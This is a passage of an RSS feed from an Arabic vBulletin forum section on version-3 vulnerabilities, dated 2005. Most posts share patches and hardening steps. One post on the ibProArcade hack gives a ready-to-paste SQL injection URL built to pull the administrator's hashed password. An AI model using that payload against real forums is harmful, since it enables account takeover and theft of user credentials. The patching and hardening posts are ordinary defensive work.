<span style="color: #0000BB">$userid&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB_site</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query_first</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT&nbsp;userid,&nbsp;languageid,&nbsp;styleid&nbsp;FROM&nbsp;"&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">TABLE_PREFIX&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #DD0000">"user&nbsp;WHERE&nbsp;userid&nbsp;=&nbsp;"&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">$item_number</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>و إستبدله بالكود التالى<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB">$userid&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB_site</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query_first</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT&nbsp;userid,&nbsp;languageid,&nbsp;styleid&nbsp;FROM&nbsp;"&nbsp;</span><span style="color: #007700">.<br /><br /></span><span style="color: #0000BB">TABLE_PREFIX&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #DD0000">"user&nbsp;WHERE&nbsp;userid&nbsp;=&nbsp;"&nbsp;</span><span style="color: #007700">.</span><span style="color: #0000BB">intval</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">item_number</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;));&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div></div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=15365</guid>
		</item>
		<item>
			<title>ثغرة يتجاهلها الكثير userinfo الحق ياآدمن</title>
			<link>https://kwety.net/vb/showthread.php?t=15036&amp;goto=newpost</link>
			<pubDate>Thu, 22 Dec 2005 16:24:33 GMT</pubDate>
			<description><![CDATA[اغلبكم ينسى ثغرة خطيرة حق الآدمن وهي تواجد الآدمن في لوحة التحكم

يظهر للزائر والأعضاء مسار لوحة التحكم

وبهذا تغير اسم مجلد الآدمن والمراقبين والمشرفين راح بلوشي  

فحبيت اعلمكم طريقة خلع التواجد

ادخل لوحة التحكم

الأشكال & القوالب

البحث في القوالب

اكتب في البحث عن النص

MEMBERINFO

افتح تمبلت MEMBERINFO

وانسخ الموجود بداخله الى فرونت بيج

ابحث عن


Code:
---------
<if condition="$show['currentlocation']">
                    <div><if condition="$userinfo['action']">$userinfo[action] $userinfo[where]<if condition="$show['detailedtime']"> - <else /> @ </if> $userinfo[time]<else />$vbphrase[offline]</if>&nbsp;</div>
                </if>
---------
واحذفه

وخلاص الان مسار اللوحة في أمان

ارجوا ان ماحد ينسب الموضوع له

صورة: http://www.kwety.net/kwety1/q83/0bae84fb5d.gif 

صورة: http://www.kwety.net/kwety1/q83/55febce839.gif ]]></description>
			<content:encoded><![CDATA[<div>اغلبكم ينسى ثغرة خطيرة حق الآدمن وهي تواجد الآدمن في لوحة التحكم<br />
<br />
يظهر للزائر والأعضاء مسار لوحة التحكم<br />
<br />
وبهذا تغير اسم مجلد الآدمن والمراقبين والمشرفين راح بلوشي  <br />
<br />
فحبيت اعلمكم طريقة خلع التواجد<br />
<br />
ادخل لوحة التحكم<br />
<br />
الأشكال &amp; القوالب<br />
<br />
البحث في القوالب<br />
<br />
اكتب في البحث عن النص<br />
<br />
MEMBERINFO<br />
<br />
افتح تمبلت MEMBERINFO<br />
<br />
وانسخ الموجود بداخله الى فرونت بيج<br />
<br />
ابحث عن<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;if condition=&quot;$show['currentlocation']&quot;&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;div&gt;&lt;if condition=&quot;$userinfo['action']&quot;&gt;$userinfo[action] $userinfo[where]&lt;if condition=&quot;$show['detailedtime']&quot;&gt; - &lt;else /&gt; @ &lt;/if&gt; $userinfo[time]&lt;else /&gt;$vbphrase[offline]&lt;/if&gt;&amp;nbsp;&lt;/div&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/if&gt;</code><hr />
</div>واحذفه<br />
<br />
وخلاص الان مسار اللوحة في أمان<br />
<br />
ارجوا ان ماحد ينسب الموضوع له<br />
<br />
<img src="http://www.kwety.net/kwety1/q83/0bae84fb5d.gif" border="0" alt="" /><br />
<br />
<img src="http://www.kwety.net/kwety1/q83/55febce839.gif" border="0" alt="" /></div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=15036</guid>
		</item>
		<item>
			<title>ترقيع لثغرة موجودة في نسخ الـ vBulletin من 3.0.3- 3.0.10</title>
			<link>https://kwety.net/vb/showthread.php?t=14565&amp;goto=newpost</link>
			<pubDate>Sun, 11 Dec 2005 20:55:55 GMT</pubDate>
			<description>السلام عليكم و رحمة الله

تلقيت رسالة من شركة جيل سوفت تفيد عن وجود ثغرة من نوع (cross site scripting) 
و هي موجودة في 3.0.3 - 3.0.10 

لترقيع الثغرة عليك استبدال ملف functions_file.php الموجود في مجلد includes بالملف الموجود في المرفقات

رابط الموضوع الأساسي
http://www.vbulletin.com/forum/showthread.php?t=166389


منقول للفائده</description>
			<content:encoded><![CDATA[<div>السلام عليكم و رحمة الله<br />
<br />
تلقيت رسالة من شركة جيل سوفت تفيد عن وجود ثغرة من نوع (cross site scripting) <br />
و هي موجودة في 3.0.3 - 3.0.10 <br />
<br />
لترقيع الثغرة عليك استبدال ملف functions_file.php الموجود في مجلد includes بالملف الموجود في المرفقات<br />
<br />
رابط الموضوع الأساسي<br />
<a href="http://www.vbulletin.com/forum/showthread.php?t=166389" target="_blank">http://www.vbulletin.com/forum/showthread.php?t=166389</a><br />
<br />
<br />
منقول للفائده</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/zip.gif" alt="&lt;phrase 1=&quot;zip&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=3220" target="_blank">
3010_patch.zip&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  4.6 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=14565</guid>
		</item>
		<item>
			<title>هام جداً :: ثغرة فى النسخ vb3.5.1 و vb 3.0.10 وبجب الترقيع</title>
			<link>https://kwety.net/vb/showthread.php?t=14434&amp;goto=newpost</link>
			<pubDate>Thu, 08 Dec 2005 20:41:17 GMT</pubDate>
			<description>الأمس الشركة الأم vbulletin أصدرت نسختين جديدتين وهما vb3.5.2 و vb3.0.11 
وذلك لإضافة بعض المميزات وترقيع الثغرات وأصدرت باتش لمن لا يريد الترقية لإغلاق الثغرات.

لأصحاب النسخ vb3.5.1 إضغط هنا
لأصحاب النسخ vb3.0.10 إضغط هنا




طريقة التركيب ::
فك الضغط عن الملفات ستجد مجلد 351_patch و 3010_patch بداخلهم مجلد includes إرفع بال Ftp وإستبدل الملفات .</description>
			<content:encoded><![CDATA[<div>الأمس الشركة الأم vbulletin أصدرت نسختين جديدتين وهما vb3.5.2 و vb3.0.11 <br />
وذلك لإضافة بعض المميزات وترقيع الثغرات وأصدرت باتش لمن لا يريد الترقية لإغلاق الثغرات.<br />
<br />
لأصحاب النسخ vb3.5.1 إضغط هنا<br />
لأصحاب النسخ vb3.0.10 إضغط هنا<br />
<br />
<br />
<br />
<br />
طريقة التركيب ::<br />
فك الضغط عن الملفات ستجد مجلد 351_patch و 3010_patch بداخلهم مجلد includes إرفع بال Ftp وإستبدل الملفات .</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/rar.gif" alt="&lt;phrase 1=&quot;rar&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=3215" target="_blank">
351_patch.rar&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  19.9 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table><tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/rar.gif" alt="&lt;phrase 1=&quot;rar&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=3216" target="_blank">
3010_patch.rar&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  4.5 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=14434</guid>
		</item>
		<item>
			<title>ثغرة التصريح 777</title>
			<link>https://kwety.net/vb/showthread.php?t=14346&amp;goto=newpost</link>
			<pubDate>Wed, 07 Dec 2005 09:52:05 GMT</pubDate>
			<description>السلام عليكم ورحمة الله وبركاته

لاحظت أن الأغلبيه يستخدم سكربتات لرفع الملفات في موقعه وهذه السكربتات كثيره منها ماهو أمن ومنها ماهو غير أمن ، وهذه السكربتات تشترط منك ياصاحب الموقع أن تقوم بعمل تصريح 777 او تصريح 707 لمجلد معين وهذه التصاريح تسمح لزوار موقعك بالكتابه في المجلد الذي قمت أنت بتصريحه.
الخطوره هنا من ملفات الـ php لأنها تحتوي على تعليمات برمجيه يتم تنفيذها داخل خادم الموقع .
فلو قام أحد الأطفال المخترقين من رفع ملف php إلى الخادم بأي ثغرة كانت فسوف يبحث عن المجلدات ذات تصريح 777 أو 707 لأن صلاحياته صلاحيات زائر وحين يجد هذه المجلدات فسوف يستخدمها كمعسكر لملفاته وسكربتاته مثل : PHPShell ، MySQLInterface ............. الخ بعدها سيصل إلى ملفات موقعك وبعدها أنت تعلم ماذا سيفعل 

إذن ما الحل الصحيح لهذه المجلدات !؟!؟

الحل طبعاً بتعطيل تنفيذ الـ php داخل هذه المجلدات عن طريق تعليمه تضيفها في ملف الـ .htaccess وهي :


PHP:
----------
php_flag engine off
----------
بعدها تقوم برفع ملف الـ .htaccess الى كل المجلدات ذات تصريح 777 .

وللتجربه قم برفع اي سكربت php للمجلدات ذات التصاريح 777 والتي تحتوي على الـ htaccess وقم بالدخول على هذا السكربت وشاهد النتيجه .
سوف تجد أن السكربت لم يقم الخادم بتنفيذه 

ملف .htaccess  مرفق 


طبعا مدري لو كان الموضوع موجود من قبل 

وهو منقول للفائدة</description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله وبركاته<br />
<br />
لاحظت أن الأغلبيه يستخدم سكربتات لرفع الملفات في موقعه وهذه السكربتات كثيره منها ماهو أمن ومنها ماهو غير أمن ، وهذه السكربتات تشترط منك ياصاحب الموقع أن تقوم بعمل تصريح <font color="#FF3300">777</font> او تصريح <font color="#FF3300">707</font> لمجلد معين وهذه التصاريح تسمح لزوار موقعك بالكتابه في المجلد الذي قمت أنت بتصريحه.<br />
الخطوره هنا من ملفات الـ php لأنها تحتوي على تعليمات برمجيه يتم تنفيذها داخل خادم الموقع .<br />
فلو قام أحد الأطفال المخترقين من رفع ملف php إلى الخادم بأي ثغرة كانت فسوف يبحث عن المجلدات ذات تصريح <font color="#FF3300">777</font> أو <font color="#FF3300">707</font> لأن صلاحياته صلاحيات زائر وحين يجد هذه المجلدات فسوف يستخدمها كمعسكر لملفاته وسكربتاته مثل : PHPShell ، MySQLInterface ............. الخ بعدها سيصل إلى ملفات موقعك وبعدها أنت تعلم ماذا سيفعل <br />
<br />
إذن ما الحل الصحيح لهذه المجلدات !؟!؟<br />
<br />
الحل طبعاً بتعطيل تنفيذ الـ php داخل هذه المجلدات عن طريق تعليمه تضيفها في ملف الـ <font color="#FF3300">.htaccess </font>وهي :<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود PHP:</div>
	<div class="alt2">
		<hr />
		<code style="white-space:nowrap">
		<div dir="ltr" style="text-align:left;">
			<!-- php buffer start --><code><span style="color: #000000">
<span style="color: #0000BB">php_flag&nbsp;engine&nbsp;off&nbsp;<br /></span>
</span>
</code><!-- php buffer end -->
		</div>
		</code>
		<hr />
	</div>
</div>بعدها تقوم برفع ملف الـ<font color="#FF3300"> .htaccess</font> الى كل المجلدات ذات تصريح <font color="#FF3300">777</font> .<br />
<br />
وللتجربه قم برفع اي سكربت php للمجلدات ذات التصاريح <font color="#FF3300">777</font> والتي تحتوي على الـ <font color="#FF3300">htaccess</font> وقم بالدخول على هذا السكربت وشاهد النتيجه .<br />
سوف تجد أن السكربت لم يقم الخادم بتنفيذه <br />
<br />
ملف <font color="#FF3300">.htaccess </font> مرفق <br />
<br />
<br />
طبعا مدري لو كان الموضوع موجود من قبل <br />
<br />
وهو منقول للفائدة</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/txt.gif" alt="&lt;phrase 1=&quot;txt&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=3190" target="_blank">
htaccess.txt&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  19 بايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=14346</guid>
		</item>
		<item>
			<title><![CDATA[[ ترقيـع (3) ] - هاك أزرار إضافيه(2)]]></title>
			<link>https://kwety.net/vb/showthread.php?t=13607&amp;goto=newpost</link>
			<pubDate>Fri, 18 Nov 2005 01:38:41 GMT</pubDate>
			<description><![CDATA[[align=right][ ترقيـع (3) ] - هاك أزرار إضافيه(2) 


السلام عليكم ورحمة الله وبركاته

بعد صدور نسخ 3.0.10 و 3.5.1 والتنبيه الذي ورد فيها حول العيب الأمني الموجود في نسخها السابقه والتي لا تستطيع التأكد من نوع الصوره المرفوعه والذي أدى الى استغلال هذا العيب لحقن جافاسكربت داخل ملفات الصور لذلك وجب النظر في ثغرات مراكز الرفع جميعها ولأن هاك أزرار إضافيه يحمل خاصية رفع الصور وجب الترقيع لهذا العيب.
قمت بإصدار هذا الترقيع لنسخة هاك أزرار إضافيه الإصدار الثاني والذي يشمل إصلاحات كثيره وترقيعات أمنيه أخرى .

وشكرا لزميلنا SilverBoy على المتابعه والتنبيه .

طريقة تركيب الترقيع:
1- قم بفك الملف المضغوط المرفق مع الموضوع .
2- قم برفع ملف poem.php الى مجلد clientscript.
3- قم برفع ملف poem.js الى مجلد clientscript .
4- قم برفع ملف hack_poem_1.php الى مجلد includes .

ملاحظه:
هذا الترقيع خاص بنسخ 30x فقط .

تحياتي لكم[/align]]]></description>
			<content:encoded><![CDATA[<div>[align=right][ ترقيـع (3) ] - هاك أزرار إضافيه(2) <br />
<br />
<br />
السلام عليكم ورحمة الله وبركاته<br />
<br />
بعد صدور نسخ 3.0.10 و 3.5.1 والتنبيه الذي ورد فيها حول العيب الأمني الموجود في نسخها السابقه والتي لا تستطيع التأكد من نوع الصوره المرفوعه والذي أدى الى استغلال هذا العيب لحقن جافاسكربت داخل ملفات الصور لذلك وجب النظر في ثغرات مراكز الرفع جميعها ولأن هاك أزرار إضافيه يحمل خاصية رفع الصور وجب الترقيع لهذا العيب.<br />
قمت بإصدار هذا الترقيع لنسخة هاك أزرار إضافيه الإصدار الثاني والذي يشمل إصلاحات كثيره وترقيعات أمنيه أخرى .<br />
<br />
وشكرا لزميلنا SilverBoy على المتابعه والتنبيه .<br />
<br />
طريقة تركيب الترقيع:<br />
1- قم بفك الملف المضغوط المرفق مع الموضوع .<br />
2- قم برفع ملف poem.php الى مجلد clientscript.<br />
3- قم برفع ملف poem.js الى مجلد clientscript .<br />
4- قم برفع ملف hack_poem_1.php الى مجلد includes .<br />
<br />
ملاحظه:<br />
هذا الترقيع خاص بنسخ 30x فقط .<br />
<br />
تحياتي لكم[/align]</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>الملفات المرفقة</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr><td dir="rtl">
	<table border="0" cellpadding="0" width="100%" bordercolor="#444" id="table2" dir="rtl">
		<tr>
			<td><img border="0" class="inlineimg" src="https://kwety.net/vb/5star/attach/zip.gif" alt="&lt;phrase 1=&quot;zip&quot;&gt;نوع الملف: %1$s&lt;/phrase&gt;" width="16" height="16">
	<a href="https://kwety.net/vb/attachment.php?attachmentid=3102" target="_blank">
patch3.zip&rlm;</a>&nbsp;&nbsp;
<input type="text" name="T2" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value=" حجم الملف :  20.7 كيلوبايت">
<input type="text" name="T1" size="25" style="font-size: 12pt; font-family: ms sans serif; border: 1px solid #444; background-color: #FFFDE2" value="المشاهدات غير معروف">&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;</td>
		</tr>
	</table>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=13607</guid>
		</item>
		<item>
			<title>ثغرة في هاك الألعاب</title>
			<link>https://kwety.net/vb/showthread.php?t=13313&amp;goto=newpost</link>
			<pubDate>Fri, 11 Nov 2005 12:53:33 GMT</pubDate>
			<description><![CDATA[السلام عليكم ورحمة الله وبركاته

تحية غالية

صادفني موضوع وأحببت أن أنوه أعضاء الشبكة الكويتية الغاليين

وهو بخصوص ثغرة تم إكتشافها في هاك الألعاب

بالنسبه للاصدار او اي نسخه تقدر تستخدمها على اقوى نسخه في العالم ,,, اخر اصدار مو مشكله ,, بس اهم شي يكون مركب هاك الالعاب ,, الهاك المشار اليه في الثغره ,,, 
والاستغلال كذا /
انسخ اللي تحت وحطه بعد المتصفح بعد مجلد المنتدى 


Code:
---------
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=1
---------
غيرت لك رقم العضويه جاهزه حطيتها واحد يعني رقم مدير المنتدى ,, وفيه حاجه ثانيه تغيرها في الكود ,, لاحظ معي,,
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]

اللي بالاحمر هو اسم الهاك في المنتدى وعلى حسب المنتدى تغيره ,, يعني مثلا بعضهم يحطه كذا arcade انت تغير اللي بالاحمر زي ماقلت لك بعدين انتر وبيطلع لك الباسورد حقه مشفر ,,,


إلى اللقاء]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله وبركاته<br />
<br />
تحية غالية<br />
<br />
صادفني موضوع وأحببت أن أنوه أعضاء الشبكة الكويتية الغاليين<br />
<br />
وهو بخصوص ثغرة تم إكتشافها في هاك الألعاب<br />
<br />
بالنسبه للاصدار او اي نسخه تقدر تستخدمها على اقوى نسخه في العالم ,,, اخر اصدار مو مشكله ,, بس اهم شي يكون مركب هاك الالعاب ,, الهاك المشار اليه في الثغره ,,, <br />
والاستغلال كذا /<br />
انسخ اللي تحت وحطه بعد المتصفح بعد مجلد المنتدى <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">index.php?act=ibProArcade&amp;module=report&amp;user=-1 union select password from user where userid=1</code><hr />
</div>غيرت لك رقم العضويه جاهزه حطيتها واحد يعني رقم مدير المنتدى ,, وفيه حاجه ثانيه تغيرها في الكود ,, لاحظ معي,,<br />
index.php?act=<font color="#CC0000">ibProArcade</font>&amp;module=report&amp;user=-1 union select password from user where userid=[any_user]<br />
<br />
اللي بالاحمر هو اسم الهاك في المنتدى وعلى حسب المنتدى تغيره ,, يعني مثلا بعضهم يحطه كذا arcade انت تغير اللي بالاحمر زي ماقلت لك بعدين انتر وبيطلع لك الباسورد حقه مشفر ,,,<br />
<br />
<br />
إلى اللقاء</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>qazwsx</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=13313</guid>
		</item>
		<item>
			<title>ثغره أخرى للنسخه 3</title>
			<link>https://kwety.net/vb/showthread.php?t=13030&amp;goto=newpost</link>
			<pubDate>Fri, 04 Nov 2005 16:26:01 GMT</pubDate>
			<description>أخواني تضرر موقعي من أحدى الهكر الذين يلعبون في المواقع وقد علمني ما هي الثغرات التي تكون موجوده وغالبا في أوامر معينه 

أخواني حل للثغره 

تذهب لخيارات المنتدى

وبعدها خيارات مرقبه الكلمات الممنوعه

صورة: http://www.kwety.net/kwety1/q86/get1.JPG 

تضف كلمه (( كوكي )) وبعد ذلك حفظ 

صورة: http://www.kwety.net/kwety1/q86/get2.JPG 

وهذه طريقه سد الثغره الأولى 

اما الطريقه الثانية وهي ان تحظ من تحكم المرفقات صيغه psd 

وشرح الطريقه هي 

1- من لوحة تحكم المنتدى تذهب إلى .
التحكم بالملفات المرفقه 

2- تختار الامتدادات والحجم 

3- تقوم بحذف صيغه psd 

وهي الطريقه الثانية لسد الثغره الاخرى 

وان شاء الله وفقت بالشرح معكم ودمتم بكل ود</description>
			<content:encoded><![CDATA[<div>أخواني تضرر موقعي من أحدى الهكر الذين يلعبون في المواقع وقد علمني ما هي الثغرات التي تكون موجوده وغالبا في أوامر معينه <br />
<br />
أخواني حل للثغره <br />
<br />
تذهب لخيارات المنتدى<br />
<br />
وبعدها خيارات مرقبه الكلمات الممنوعه<br />
<br />
<img src="http://www.kwety.net/kwety1/q86/get1.JPG" border="0" alt="" /><br />
<br />
تضف كلمه (( كوكي )) وبعد ذلك حفظ <br />
<br />
<img src="http://www.kwety.net/kwety1/q86/get2.JPG" border="0" alt="" /><br />
<br />
وهذه طريقه سد الثغره الأولى <br />
<br />
اما الطريقه الثانية وهي ان تحظ من تحكم المرفقات صيغه psd <br />
<br />
وشرح الطريقه هي <br />
<br />
1- من لوحة تحكم المنتدى تذهب إلى .<br />
التحكم بالملفات المرفقه <br />
<br />
2- تختار الامتدادات والحجم <br />
<br />
3- تقوم بحذف صيغه psd <br />
<br />
وهي الطريقه الثانية لسد الثغره الاخرى <br />
<br />
وان شاء الله وفقت بالشرح معكم ودمتم بكل ود</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=13030</guid>
		</item>
		<item>
			<title>ثغرة Path Disclosure في نسخ vBulletin 3.5.0 ارجو الحذر</title>
			<link>https://kwety.net/vb/showthread.php?t=12392&amp;goto=newpost</link>
			<pubDate>Sat, 22 Oct 2005 20:45:18 GMT</pubDate>
			<description><![CDATA[السلام عليكم ورحمة الله وبركاته 

بدأت منذ أسبوع فتح ملفات نسخة vBulletin 3.5.0 العجيبه والتي تسعى مجموعة jelsoft أن تجعلها نسخ ثابته في الأشهر القادمه ووصلت بتطويرها حتى الان الى إصداره أسمتها Candidate 3 وهذا يعني أن النسخه ثبتت بعد إصدارات البيتا التي طرحتها منذ فتره وعلى مايبدوا أنها ستطلق النسخه الرسميه الثابته على بداية العام الجديد 2006م وأرى أن بعض الأخوان هنا بسوالف تسرع بتركيب هذه النسخه والتي لا يعلم أحد عنها سوى خاصية الـ plugins و الـ ajax .

قمت بالبحث عن الثغرات في هذه النسخه وهذا أول الخير بإذن الله 
ثغره من نوع Path Disclosure ومستواها متوسط وعن طريقها يستطيع المخترق معرفة دليل الموقع موجود بأي مكان على الخادم 

الثغره موجوده في ملف class_core.php وبالتحديد في سطر رقم 1365

    

Code:
---------
foreach ($this->superglobal_lookup AS $arrayname) 
            { 
                $registry->superglobal_size["$arrayname"] = sizeof($GLOBALS["$arrayname"]); 

                foreach (array_keys($GLOBALS["$arrayname"]) AS $varname) 
                { 
                    unset($GLOBALS["$varname"]);  <<------
---------
الترقيع:
1- افتح ملف class_core.php وابحث عن السطر التالي :


Code:
---------
unset($GLOBALS["$varname"]);
---------
2- إستبدله بالأتي:


Code:
---------
if( !in_array($varname, $this->superglobal_lookup )) 
             unset($GLOBALS["$varname"]);
---------
- إحفظ الملف وقم برفعه. 
(( منقول ))
تحياتي لكم ... :)]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم ورحمة الله وبركاته <br />
<br />
بدأت منذ أسبوع فتح ملفات نسخة vBulletin 3.5.0 العجيبه والتي تسعى مجموعة jelsoft أن تجعلها نسخ ثابته في الأشهر القادمه ووصلت بتطويرها حتى الان الى إصداره أسمتها Candidate 3 وهذا يعني أن النسخه ثبتت بعد إصدارات البيتا التي طرحتها منذ فتره وعلى مايبدوا أنها ستطلق النسخه الرسميه الثابته على بداية العام الجديد 2006م وأرى أن بعض الأخوان هنا بسوالف تسرع بتركيب هذه النسخه والتي لا يعلم أحد عنها سوى خاصية الـ plugins و الـ ajax .<br />
<br />
قمت بالبحث عن الثغرات في هذه النسخه وهذا أول الخير بإذن الله <br />
ثغره من نوع Path Disclosure ومستواها متوسط وعن طريقها يستطيع المخترق معرفة دليل الموقع موجود بأي مكان على الخادم <br />
<br />
الثغره موجوده في ملف class_core.php وبالتحديد في سطر رقم 1365<br />
<br />
    <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">foreach ($this-&gt;superglobal_lookup AS $arrayname) <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $registry-&gt;superglobal_size[&quot;$arrayname&quot;] = sizeof($GLOBALS[&quot;$arrayname&quot;]); <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (array_keys($GLOBALS[&quot;$arrayname&quot;]) AS $varname) <br />
